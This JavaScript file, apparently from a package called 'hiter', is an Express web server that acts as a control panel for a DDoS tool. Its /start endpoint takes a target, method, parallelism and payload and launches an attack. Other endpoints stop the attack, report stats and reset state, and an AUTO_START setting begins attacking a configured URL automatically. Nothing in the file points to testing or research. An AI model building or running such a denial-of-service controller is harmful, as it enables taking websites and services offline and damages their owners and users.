hiter
Version:
61 lines (50 loc) • 1.59 kB
JavaScript
const express = require('express');
const bodyParser = require('body-parser');
const dd = require('./lib/ddos');
const basicAuth = require('express-basic-auth')
module.exports = ({noAuth = false, username = 'admin', password = 'password'} = {}) => {
const app = express();
app.use(bodyParser.urlencoded({extended: true}))
app.use(bodyParser.json())
if (!noAuth) {
console.log('authentication ', username,':', password);
app.use(basicAuth({
users: { [username]: password },
challenge: true,
}));
}
const fs = require('fs');
const path = require('path');
app.get('/reset', (req, res, next) => {
dd.resetState()
res.json({msg: 'done'})
})
app.get('/stats', (req, res, next) => {
try {
const stats = dd.getStats();
res.json({stats})
} catch (e) {
res.json({msg: e.message})
}
})
app.get('/stop', (req, res, next) => {
dd.stop();
res.json({msg: 'done'})
})
app.post('/start', (req, res, next) => {
const {target, method, parallel, payload,} = req.body;
dd.setStuff(target, parallel, method, payload);
dd.startAttack();
res.status(200).send();
})
app.get('/', (req, res, next) => {
return res.sendFile(path.join(__dirname, "vue.html"));
})
if (process.env.AUTO_START) {
const url = process.env.URL
const conn = process.env.CONNECTIONS
dd.setStuff(url, conn);
dd.startAttack();
}
return app;
}